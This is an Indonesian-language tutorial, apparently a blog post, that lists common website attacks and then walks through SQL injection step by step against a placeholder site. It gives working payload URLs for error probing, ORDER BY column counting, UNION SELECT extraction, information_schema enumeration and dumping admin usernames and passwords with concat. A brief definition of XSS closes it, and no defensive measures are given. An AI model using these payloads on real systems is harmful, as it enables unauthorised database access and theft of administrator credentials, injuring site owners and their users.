Kali ini saya akan membahas beberapa trik yang di gunakan Attaker (Hacker) yang mungkin untuk meng Hack Web yang kita buat.
Ada Beberapa Trik Yang digunakan oleh attaker untuk meng hack web yang kita buat diantaranya yaitu:
- SQLI
- XSS
- Command Execution
- File Inclusion
- File Upload
- Brute Force
SQL Injection merupakan sebuah teknik hacking dimana
seorang penyerang dapat meng insert perintah-perintah SQL
melalui url untuk dieksekusi oleh database.
Penyebab utama dari celah ini adalah variable yang kurang
di filter :
id=$id;……. >
Got Error
Hal pertama yang harus kamu lakukan adalah mengetahui
apakah situs tersebut terkena celah SQL Injection atau
tidak, yaitu dengan membuat sebuah error dengan menambahkan
karakter ‘ setelah url.
Example : http://situsq.com/berita.php?id=14’
Apabila terlihat pesan error seperti ini :
You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near ”’
at line 1
Maka bisa dipastikan situs tersebut terdapat celah SQL
Injection…
Next Step
Nah setelah mengetahui bahwa di situs tersebut terdapat celah SQL Injection maka yang harus kamu lakukan
selanjutnya adalah menghitung jumlah table yang ada di dalam databasenya (tenang aja gak pake matematika kok :P)
caranya dengan perintah “order by”
Example : http://situsq.com/berita.php?id=-14+order+by+10/*
Uuppss… mengapa “-14”? karena -14 bukanlah id berita yang valid… trus 10, angka buat apaan tuh? Hhmm… untuk
mengetahui jumlah tabelnya pertama-tama kita harus menebak terlebih dahulu apabila muncul pesan error seperti ini :
Unknown column ‘10′ in ‘order clause’
berarti jumlah tebakan kita salah, but klo situsnya muncul seperti biasa berarti jumlah tebakan kita sudah benar :D…
trus karakter “+” dan “/*” gunanya buat apa?
+ <=- sebagai penghubung perintah
Atau dapat juga diganti dengan :
/**/
%20
Sedangkan karakter “/*” adalah karakter penutup perintah sql atau dapat juga diganti dengan :
–
Nah klo semuanya udah jelas sekarang kita lanjut pake union… buat mengetahui angka berapa yang show
Example : http://situsq.com/berita.php?id=-14+union+select+1,2,3,4,5,6,7,8,9,10/*
Nah apabila muncul angka yang tadinya gak ada dihalaman tersebut berarti itulah angka yang show… nah angka yang show itulah yang nantinya bakalan kita injek (bukan pakesepatu)… pertama kita cari tau version mysql yang dia pake,apabila tadi yang muncul adalah angka 4 maka kita akan pake angka 4
Example : http://situsq.com/berita.php?id=-14+union+select+1,2,3,version(),5,6,7,8,9,10/*
Nah klo misalnya yang keluar ada angka 5 berarti situs tersebut memakai database versi 5… nah klo udah tau versinya sekarang kita cari tahu nama databasenya caranya cukup ganti “version()” tadi dengan “database()”… Next
seumpamanya tadi versi 5 berarti kita bisa pake perintah information_schema untuk melihat tabel & kolom yang ada di dalam databasenya.
Example : http://situsq.com/berita.php?id=-14+union+select+1,2,3,table_name,5,6,7,8,9,10+from+information_schema.tables/*
Selanjutnya kita harus menambahkan LIMIT di akhir url untuk melihat tabel-tabel yang lainnya…
Example : http://situsq.com/berita.php?id=-14+union+select+1,2,3,table_name,5,6,7,8,9,10+from+information_schema.tables+limit+0,1/*
Selanjutnya kamu tinggal merubah angka 0,1 menjadi 1,1 dan 2,1 begitu seterusnya sampai kamu menemukan tabel-tabel penting yang ada dalam database seperti “tbl_admin, tbl_user, users dll”… klo dah keliatan semua s’lanjutnya kita akan melihat kolom-kolom yang ada dalam tabel yang kita dapatkan tadi caranya hampir sama dengan cara mencari tabel tadi.
Example : http://situsq.com/berita.php?id=-14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+information_schema.columns/*
Setelah itu mmenggunakan limit 0,1 dan seterusnya
Example : http://situsq.com/berita.php?id=-14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+information_schema.columns+limit+0,1/*
Sehingga kita menemukan kolom-kolom seperti “username,password,email dll” atau kamu bisa mencari tabel user dengan menambahkan perintah where table_name=’user’/*
Example : http://situsq.com/berita.php?id=-14+union+select+1,2,3,column_name,5,6,7,8,9,10+from+information_schema.columns+where+table_name=’user’/*
Biasanya untuk lebih memudahkan menemukan tabel dan kolom saya sering menggunakan sebuah tool yang bernama schemafuzz.py tetapi setidaknya kamu harus mengerti cara diatas terlebih dahulu karena tool disini hanya alat Bantu saja…
Got Password
Nah,,, disinilah inti dari SQL Injection… yaitu mendapatkan
password admin… apabila tadi kamu telah menemukan tabel
admin yang bernama “tbl_admin” dan kolom-kolomnya seperti
“username,password” dll sekarang untuk melihat isi dari
kolom username dan password tersebut kamu akan menggunakan
concat.
Example : http://situsq.com/berita.php?id=-
14+union+select+1,2,3,concat(username,0x3a,password)
,5,6,7,8,9,10+from+tbl_admin/*
0x3a <=- adalah pemisah kolom username dan password agar
dapat dibedakan yang mana password dan yang mana username
atau dapat juga diganti dengan char(58).
Sekarang dah dapat passwordnya??? Tunggu apalagi?? Lapor
ama admin… xixixixi
XSS merupakan kependekan yang digunakan untuk istilah cross site scripting.
XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya.